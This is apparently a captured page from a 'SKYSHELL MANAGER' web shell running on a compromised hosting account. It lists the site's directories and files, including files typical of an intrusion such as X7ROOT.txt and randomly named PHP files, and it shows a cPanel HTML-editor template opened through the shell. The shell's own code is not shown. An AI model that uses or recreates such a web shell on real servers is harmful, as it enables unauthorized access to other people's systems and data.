📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: html_editor_include.html.tt
[% USE JSON; USE UIAnalytics; SET account_locale = locale.get_user_locale(), direction = locale.get_html_dir_attr(), form = CPANEL.FORM, security_token = CPANEL.ENV.cp_security_token, directory_path = form.dir, file_name = form.file, charset = form.charset, file_charset = form.file_charset, base_url = form.baseurl _ '/', base_url_for_editor = CPANEL.ENV.cp_security_token _ '/frontend/jupiter/filemanager/editors/', base_dir = form.basedir, theme = CPANEL.CPDATA.RS, home_dir_path = CPANEL.ENV.HOME, url = "http://" _ CPANEL.ENV.DOMAIN; SET file_open_results = execute("Fileman", "get_file_content", { dir => directory_path, file => file_name, from_charset => charset }); SET file_info = file_open_results.data; SET jodit_supported_locales = { 'ar' => 'ar', 'de' => 'de', 'en' => 'en', 'es' => 'es', 'fi' => 'fi', 'fr' => 'fr', 'he' => 'he', 'hu' => 'hu', 'id' => 'id', 'it' => 'it', 'ja' => 'ja', 'ko' => 'ko', 'nl' => 'nl', 'pl' => 'pl', 'pt_br' => 'pt_br', 'ru' => 'ru', 'tr' => 'tr', 'zh_tw' => 'zh_tw', # map some locales to closest supported by Jodit 'cs' => 'cs_cz', 'zh' => 'zh_cn', 'uk' => 'ua', 'nb' => 'no', }; # Data for analytics purpose. SET cp_analytics_data = UIAnalytics.get_cpanel_analytics_data(); SET analyticsConfig = { cpAnalyticsData => cp_analytics_data, debugMode => CPANEL.is_debug_mode_enabled(), loginUser => CPANEL.authuser, isSandbox => CPANEL.is_sandbox(), canTrackUserAnalytics => can_track_user_analytics, isUserAnalyticsRequiredByLeika => is_user_analytics_required_by_leika, # Add additional page meta to be sent to analytics. }; %] <style type="text/css"> [% INSERT "filemanager/editors/html_editor.css" %] </style> <div id="editor-status" class="editor-status"> <cp-ui-load-analytics analytics-config="[% analyticsConfig.json() | html %]" > </cp-ui-load-analytics> </div> <form id="htmlEditorForm" class="cpanelHide"> <div class="editor-container"> <textarea id="jodit-editor" name="content"></textarea> </div> </form> <!-- Load required scripts --> <script type="text/javascript" src="[% MagicRevision('/yui-gen/utilities_container/utilities_container.js') %]"></script> <script type="text/javascript" src="[% MagicRevision('/cjt/cpanel-all.js') %]"></script> <script type="text/javascript" src="[% MagicRevision('../../libraries/jquery/current/jquery.js') %]"></script> <script> window.LEXICON = window.LEXICON || {}; [% cldr_path = 'libraries/cldr/' _ locale.get_language_tag() _ '.js'; INSERT $cldr_path %] </script> [% IF CPANEL.is_debug_mode_enabled() %] <script src="[% theme_magic_url("core/web-components/dist/jupiter-web-components.cmb.js") %]"></script> [% ELSE %] <script src="[% theme_magic_url("core/web-components/dist/jupiter-web-components.cmb.min.js") %]"></script> [% END %] <script src="[% theme_magic_url("core/web-components/dist/jupiter-web-components.cmb-" _ locale.get_language_tag() _ ".js") %]"></script> [% PROCESS "_assets/_ajaxapp.html.tt" -%] <!-- Load Jodit Editor --> <script type="text/javascript" src="[% MagicRevision('../../libraries/jodit-editor/4.6.2/jodit.min.js') %]"></script> <!-- Load our custom Jodit editor handler --> [% SET lex_path = locale.cpanel_get_lex_path('/usr/local/cpanel/base/frontend/' _ theme _ '/filemanager/editors/html_editor.js', './html_editor.js') %] [% IF lex_path %]<script src="[% lex_path %]"></script>[% END %] <script type="text/javascript" src="./html_editor.js"></script> <script type="text/javascript"> (function() { var appData = { fileContentInfo: [% file_info.json() || '{}' %], fileMetaData: { dirPath: [% directory_path.json() || '""' %], fileName: [% file_name.json() || '""' %], charset: [% file_info.from_charset.json() || '""' %] }, securityToken: [% security_token.json() || '""' %], baseUrlForEditor: '[% base_url_for_editor %]', baseUrl: '[% base_url %]', formID: "htmlEditorForm" }; var directoryPath = '[% directory_path %]'; var domain = '[% CPANEL.ENV.DOMAIN %]'; var baseUrl = '[% base_url %]'; var baseUrlForEditor = '[% base_url_for_editor %]'; var validImgExtensions = ['jpg', 'jpeg', 'png', 'gif', 'webp', 'svg', 'bmp', 'ico']; var joditConfig = { elementId: 'jodit-editor', joditOptions: { editHTMLDocumentMode: true, iframe: true, iframeStyle: 'html{margin:0;padding:0;min-height: 100%;}body{box-sizing:border-box;font-size:13px;line-height:1.6;padding:10px;margin:0;background:transparent;color:#000;position:relative;z-index:2;user-select:auto;margin:0px;overflow:auto;outline:none;}table{width:100%;border:none;border-collapse:collapse;empty-cells: show;max-width: 100%;}th,td{padding: 2px 5px;border:1px solid #ccc;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;user-select:text}p{margin-top:0;}.jodit_editor .jodit_iframe_wrapper{display: block;clear: both;user-select: none;position: relative;}.jodit_editor .jodit_iframe_wrapper:after {position:absolute;content:"";z-index:1;top:0;left:0;right: 0;bottom: 0;cursor: pointer;display: block;background: rgba(0, 0, 0, 0);} .jodit_disabled{user-select: none;-o-user-select: none;-moz-user-select: none;-khtml-user-select: none;-webkit-user-select: none;-ms-user-select: none}', iframeSandbox: 'allow-same-origin', basePath: baseUrl, height: '100%', width: '100%', fullsize: true, removeButtons: ['fullsize'], language: '[% jodit_supported_locales.exists(account_locale) ? jodit_supported_locales.$account_locale : "en" %]', direction: '[% direction %]', toolbar: true, toolbarSticky: true, toolbarAdaptive: true, showCharsCounter: true, showWordsCounter: true, showXPathInStatusbar: false, buttons: [ { name: 'save', tooltip: '[% locale.maketext("Save File") %]', iconURL: 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNzkyIDE3OTIiPjxwYXRoIGQ9Ik01MTIgMTUzNmg3Njh2LTM4NGgtNzY4djM4NHptODk2IDBoMTI4di04OTZxMC0xNC0xMC0zOC41dC0yMC0zNC41bC0yODEtMjgxcS0xMC0xMC0zNC0yMHQtMzktMTB2NDE2cTAgNDAtMjggNjh0LTY4IDI4aC01NzZxLTQwIDAtNjgtMjh0LTI4LTY4di00MTZoLTEyOHYxMjgwaDEyOHYtNDE2cTAtNDAgMjgtNjh0NjgtMjhoODMycTQwIDAgNjggMjh0MjggNjh2NDE2em0tMzg0LTkyOHYtMzIwcTAtMTMtOS41LTIyLjV0LTIyLjUtOS41aC0xOTJxLTEzIDAtMjIuNSA5LjV0LTkuNSAyMi41djMyMHEwIDEzIDkuNSAyMi41dDIyLjUgOS41aDE5MnExMyAwIDIyLjUtOS41dDkuNS0yMi41em02NDAgMzJ2OTI4cTAgNDAtMjggNjh0LTY4IDI4aC0xMzQ0cS00MCAwLTY4LTI4dC0yOC02OHYtMTM0NHEwLTQwIDI4LTY4dDY4LTI4aDkyOHE0MCAwIDg4IDIwdDc2IDQ4bDI4MCAyODBxMjggMjggNDggNzZ0MjAgODh6Ij48L3BhdGg+PC9zdmc+', exec: function(editor) { CPANEL.joditEditor.saveFile(); } }, '|','bold','italic','underline','strikethrough', '|','eraser','copyformat', '|','font','fontsize','brush','paragraph','lineHeight', '|','ul','ol', '|','hr', '|','left','center','right','justify', '|','indent','outdent', '|','\n','undo','redo', '|','cut','copy','paste', '|','image','video','file', '|','table', '|','link','unlink', '|','superscript','subscript', '|','find','---','source', '|','selectall' ], uploader: { url: "[% security_token %]/execute/Fileman/upload_files", format: 'json', imagesExtensions: validImgExtensions, maxFileSize: 5 * 1024 * 1024, // (5MB) multiple: true, headers: { 'X-Requested-With': 'XMLHttpRequest' }, data: { dir: "[% directory_path %]", overwrite: 0 }, filesVariableName: function(i) { return 'file'; }, isSuccess: function(resp) { var success = !resp.errors; if (!success) { let joditEditor = CPANEL.joditEditor.getEditor() resp.errors.forEach((errorMsg) => { console.error(`Upload error: ${errorMsg}`); window.JoditUXHelpers.showToast(`Image upload failed: ${errorMsg}`); }); if (this._progressInterval) { clearInterval(this._progressInterval); this._progressInterval = null; } if (this._currentImageUploadIds) { this._currentImageUploadIds.forEach(function(fileId) { window.JoditUXHelpers.updateProgress(fileId, 100, 'Error'); }); } } if (success && this._currentImageUploadIds) { var completedFileIds = this._currentImageUploadIds.slice(); this._currentImageUploadIds = null; setTimeout(function() { completedFileIds.forEach(function(fileId) { CPANEL.joditEditor.updateUploadProgress(fileId, 100, 'Complete'); }); }, 350); } return resp && success; }, getMessage: function(resp) { return resp && resp.data && resp.data?.msg ? resp.data?.msg : ''; }, prepareData: function(formData) { formData.append('upload_timestamp', Date.now()); formData.append('upload_source', 'jodit_image_uploader'); formData.append('upload_type', 'image'); var images = []; for (var pair of formData.entries()) { if (pair[1] instanceof File) { images.push(pair[1]); } } if (images.length > 0 && typeof CPANEL !== 'undefined' && CPANEL.joditEditor && window.JoditUXHelpers) { var fileIds = window.JoditUXHelpers.showProgress(images); this._currentImageUploadIds = fileIds; window.JoditUXHelpers.startSimulatedProgress(fileIds); } return formData; }, error: function(e) { console.error('Upload error:', e); if (this._progressInterval) { clearInterval(this._progressInterval); this._progressInterval = null; } if (this._currentImageUploadIds) { this._currentImageUploadIds.forEach(function(fileId) { window.JoditUXHelpers.updateProgress(fileId, 100, 'Error'); }); } }, processFileName: function(key, file, name) { var timestamp = Date.now(); var sanitizedName = name.replace(/[^a-zA-Z0-9.-]/g, '_'); var extension = sanitizedName.split('.').pop(); var baseName = sanitizedName.replace('.' + extension, ''); var finalName = baseName + '_' + timestamp + '.' + extension; return [key, file, finalName]; }, process: function(resp) { var fileUrl = './'; var uploadedFileUrls = []; if (resp?.data?.uploads) { if (fileUrl && !fileUrl.endsWith('/')) { fileUrl += '/'; } resp.data.uploads.forEach((uploadedFile) => { uploadedFileUrls.push(fileUrl + uploadedFile.file); }); } return { files: [...uploadedFileUrls] || [], path: resp.data?.path || '', baseurl: baseUrl || '', error: resp.errors, messages: resp.messages }; }, defaultHandlerSuccess: function (data) { var joditEditor = CPANEL.joditEditor.getEditor(); if (data.files && data.files.length) { data.files.forEach(function(imageUrl){ extension = imageUrl.split('.').pop().toLowerCase(); isImage = validImgExtensions.some(function(validExt) { return extension === validExt.toLowerCase(); }); if (!isImage) { return; } var img = joditEditor.createInside.element('img'); img.setAttribute('src', imageUrl); img.setAttribute('alt', imageUrl.replace(/\.[^/.]+$/, '')); img.setAttribute('loading', 'lazy'); joditEditor.selection.insertImage(img); }); } this._currentImageUploadIds = null; }, }, defaultHandlerError: function(e) { console.error('Default handler error: ', e); }, filebrowser: { ajax: { url: "[% security_token %]/execute/Jodit/filebrowser", method: 'GET', dataType: 'json', headers: { 'X-Requested-With': 'XMLHttpRequest' }, prepareData: function(data, resp, options) { var currentPath = data.path || ''; var baseDir = "[% directory_path %]" || "[% base_dir %]"; var fullPath = baseDir; if (currentPath && currentPath !== '') { fullPath = baseDir + '/' + currentPath; } var requestData = { action: data.action || 'files', dir: directoryPath, dirPath: fullPath, source: data.source || 'default', path: currentPath }; return requestData; }, process: function(resp) { if (!resp || !resp.success) { console.error('Filebrowser error:', resp && resp.data ? resp.data.error : 'Unknown error'); return { success: false, time: new Date().toISOString(), data: { code: 500, error: resp && resp.data ? resp.data.error : 'Failed to load files' } }; } if (!resp.data || !resp.data.sources || !Array.isArray(resp.data.sources)) { console.warn('Sources is not an array or missing:', resp.data ? resp.data.sources : 'No data'); } return resp; } }, showFoldersPanel: true, view: 'list', allowFolders: true, showFolders: true, defaultView: 'list', createNewFolder: false, deleteFolder: false, renameFolder: false, moveFolder: false, moveFile: false, renameFile: false, deleteFile: false, showPreviewButton: true, showSelectButtonInPreview: true, howLongShowMsg: 3000, sortBy: 'name', folderTree: true, filter: function(item, search) { var isImageContext = this.options && this.options.isImageBrowser; if (isImageContext) { return item.isImage || /\.(jpg|jpeg|png|gif|bmp|webp|svg|ico)$/i.test(item.file); } var name = item.file.toLowerCase(); return /\.(jpg|jpeg|png|gif|bmp|webp|svg|ico|pdf|txt|html|htm|css|js|doc|docx|xls|xlsx|zip|rar)$/i.test(name); } }, allowResizeX: false, allowResizeY: false, minHeight: 1000, askBeforePasteHTML: false, askBeforePasteFromWord: false, defaultActionOnPaste: 'insert_clear_html', link: { followOnDblClick: false, processVideoLink: true, processPastedLink: true, openInNewTabCheckbox: true, noFollowCheckbox: true }, image: { openOnDblClick: false, editSrc: true, useImageEditor: false, editTitle: true, editAlt: true, editLink: true, editSize: true, editBorderRadius: true, editMargins: true, editClass: true, editStyle: true, editId: true, resizer: true, selectImageAfterClose: true, processImageOnPaste: true, maxImageSize: 5 * 1024 * 1024, // 5MB limit resizeOnUpload: true, maxWidth: 1200, maxHeight: 800, quality: 0.8, defaultAlt: 'Uploaded image' }, enableDragAndDropFileToEditor: true, draggableTags: ['img', 'a', 'jodit-media'], dragAndDropElement: document.body, table: { selectionCellStyle: 'border: 1px double #1e88e5 !important;', useExtraClassesOptions: false }, beautifyHTML: true, extraPlugins: ['about', 'xpath'], disablePlugins: ['mobile', 'image-properties'], events: { afterInit: function(jodit) { processExistingTables(jodit); setTimeout(function() { processExistingTables(jodit); }, 500); }, afterSetMode: function(jodit) { if (!jodit || typeof jodit.getRealMode !== 'function') { return; } if (jodit.getRealMode() === 'wysiwyg') { processExistingTables(jodit); } }, processHTML: function(html) { return cleanTableStyles(html); } } } }; function processExistingTables(jodit) { try { var editorDocument = jodit.iframe ? (jodit.iframe.contentDocument || jodit.iframe.contentWindow.document) : jodit.editor; if (!editorDocument) return; var tables = editorDocument.querySelectorAll('table'); tables.forEach(function(table) { table.removeAttribute('style'); table.removeAttribute('border'); table.removeAttribute('cellpadding'); table.removeAttribute('cellspacing'); table.style.borderCollapse = 'collapse'; table.style.width = '100%'; table.style.border = '1px solid #ddd'; var cells = table.querySelectorAll('th, td'); cells.forEach(function(cell) { var existingStyle = cell.getAttribute('style') || ''; var textAlign = cell.style.textAlign || ''; cell.removeAttribute('style'); cell.style.border = '1px solid #ddd'; cell.style.padding = '8px'; if (textAlign) { cell.style.textAlign = textAlign; } if (cell.tagName === 'TH') { cell.style.backgroundColor = '#f5f5f5'; cell.style.fontWeight = 'bold'; } }); }); if (editorDocument.body) { editorDocument.body.style.display = 'none'; editorDocument.body.offsetHeight; editorDocument.body.style.display = ''; } } catch (e) { console.error('Error processing existing tables:', e); } } function cleanTableStyles(html) { if (!html) return html; try { var temp = document.createElement('div'); temp.innerHTML = html; var tables = temp.querySelectorAll('table'); tables.forEach(function(table) { table.removeAttribute('border'); table.removeAttribute('cellpadding'); table.removeAttribute('cellspacing'); table.removeAttribute('width'); var cells = table.querySelectorAll('th, td'); cells.forEach(function(cell) { cell.removeAttribute('width'); cell.removeAttribute('height'); }); }); return temp.innerHTML; } catch (e) { console.error('Error cleaning table styles:', e); return html; } } window.JoditUXHelpers = { progressContainer: null, uploadFiles: new Map(), startSimulatedProgress: function(fileIds) { var self = this; var progressValue = 10; if (this._progressInterval) { clearInterval(this._progressInterval); this._progressInterval = null; } this._progressStopped = false; this._progressInterval = setInterval(function() { if (self._progressStopped) { clearInterval(self._progressInterval); self._progressInterval = null; return; } if (fileIds && progressValue < 90) { progressValue += Math.random() * 15; progressValue = Math.min(90, progressValue); if (!self._progressStopped) { fileIds.forEach(function(fileId) { window.JoditUXHelpers.updateProgress( fileId, progressValue, 'Uploading...' ); }); } } else { clearInterval(self._progressInterval); self._progressInterval = null; } }, 300); }, createProgressContainer: function() { if (this.progressContainer) return this.progressContainer; var container = document.createElement('div'); container.className = 'jodit-upload-progress'; container.innerHTML = '<div class="jodit-upload-progress-header">' + '<span>Uploading Images</span>' + '<button class="jodit-upload-progress-close" onclick="JoditUXHelpers.hideProgress()">×</button>' + '</div>' + '<div class="jodit-upload-progress-files"></div>'; var closeBtn = container.querySelector('.jodit-upload-progress-close'); if (closeBtn) { closeBtn.addEventListener('click', function() { JoditUXHelpers.hideProgress(); }); } document.body.appendChild(container); this.progressContainer = container; return container; }, showProgress: function(files) { var container = this.createProgressContainer(); var filesContainer = container.querySelector('.jodit-upload-progress-files'); filesContainer.innerHTML = ''; this.uploadFiles.clear(); var fileIds = []; for (var i = 0; i < files.length; i++) { var file = files[i]; var fileId = 'upload-' + Date.now() + '-' + i; fileIds.push(fileId); var fileItem = document.createElement('div'); fileItem.className = 'jodit-upload-file-item'; fileItem.innerHTML = '<div class="jodit-upload-file-name">' + file.name + '</div>' + '<div class="jodit-upload-file-progress">' + '<div class="jodit-upload-file-progress-bar" id="' + fileId + '-bar"></div>' + '</div>' + '<div class="jodit-upload-file-status" id="' + fileId + '-status">Preparing...</div>'; filesContainer.appendChild(fileItem); this.uploadFiles.set(fileId, { file: file, element: fileItem }); } container.classList.add('show'); var self = this; setTimeout(function() { if (self.progressContainer && self.progressContainer.classList.contains('show')) { self.hideProgress(); } }, 30000); return fileIds; }, updateProgress: function(fileId, progress, status) { var progressBar = document.getElementById(fileId + '-bar'); var statusElement = document.getElementById(fileId + '-status'); if (progressBar) { progressBar.style.width = progress + '%'; if (status && status.includes('Error')) { progressBar.classList.add('error'); } } else { console.error('Progress bar not found for', fileId); } if (statusElement) { statusElement.textContent = status || 'Uploading...'; if (status && status.includes('Complete')) { statusElement.classList.add('success'); } else if (status && status.includes('Error')) { statusElement.classList.add('error'); } } else { console.error('Status element not found for', fileId); } if (progress === 100) { this._progressStopped = true; if (this._progressInterval) { clearInterval(this._progressInterval); this._progressInterval = null; } setTimeout(function() { JoditUXHelpers.hideProgress(); }, 3000); } }, hideProgress: function() { if (this.progressContainer) { this.progressContainer.classList.remove('show'); setTimeout(() => { if (this.progressContainer && this.progressContainer.parentNode) { this.progressContainer.parentNode.removeChild(this.progressContainer); this.progressContainer = null; } }, 300); } }, showToast: function(message, type) { var toast = document.createElement('div'); toast.className = 'jodit-upload-toast ' + (type || 'info'); toast.textContent = message; document.body.appendChild(toast); setTimeout(() => toast.classList.add('show'), 100); setTimeout(() => { toast.classList.remove('show'); setTimeout(() => { if (toast.parentNode) { toast.parentNode.removeChild(toast); } }, 300); }, 7000); }, setupDragAndDrop: function(editor) { var container = editor.container; var dragCounter = 0; container.addEventListener('dragenter', function(e) { e.preventDefault(); dragCounter++; container.classList.add('drag-over'); }); container.addEventListener('dragleave', function(e) { e.preventDefault(); dragCounter--; if (dragCounter === 0) { container.classList.remove('drag-over'); } }); container.addEventListener('dragover', function(e) { e.preventDefault(); }); container.addEventListener('drop', function(e) { e.preventDefault(); dragCounter = 0; container.classList.remove('drag-over'); }); } }; function initializeEditor() { if (typeof CPANEL !== 'undefined' && CPANEL.joditEditor) { CPANEL.joditEditor.initialize(joditConfig, appData); setTimeout(function() { if (CPANEL.joditEditor.editor) { var editor = CPANEL.joditEditor.editor; JoditUXHelpers.setupDragAndDrop(editor); try { editor.events.on('afterUpload', function(data, resp) { var uploadBtn = editor.toolbar.getButton('image'); if (uploadBtn && uploadBtn.container) { uploadBtn.container.classList.remove('uploading'); } }); editor.events.on('errorUpload', function(error, resp) { console.error('Upload error:', error, resp); var uploadBtn = editor.toolbar.getButton('image'); if (uploadBtn && uploadBtn.container) { uploadBtn.container.classList.remove('uploading'); } }); } catch (e) { console.error('Some upload events not available:', e); } var originalUploader = editor.uploader; if (originalUploader && originalUploader.bind) { var originalBind = originalUploader.bind.bind(originalUploader); originalUploader.bind = function(form, handlerSuccess, handlerError) { var wrappedSuccess = function(data, resp) { JoditUXHelpers.hideProgress(); if (handlerSuccess) { handlerSuccess.call(this, data, resp); } }; var wrappedError = function(error) { JoditUXHelpers.hideProgress(); JoditUXHelpers.showToast('Upload failed: ' + (error.message || 'Unknown error'), 'error'); if (handlerError) { handlerError.call(this, error); } }; return originalBind(form, wrappedSuccess, wrappedError); }; } } }, 1000); } else { setTimeout(function() { if (typeof CPANEL !== 'undefined' && CPANEL.joditEditor) { initializeEditor(); } else { console.error('CPANEL.joditEditor still not available after retry'); } }, 500); } } if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', initializeEditor); } else { initializeEditor(); } })(); </script>
Save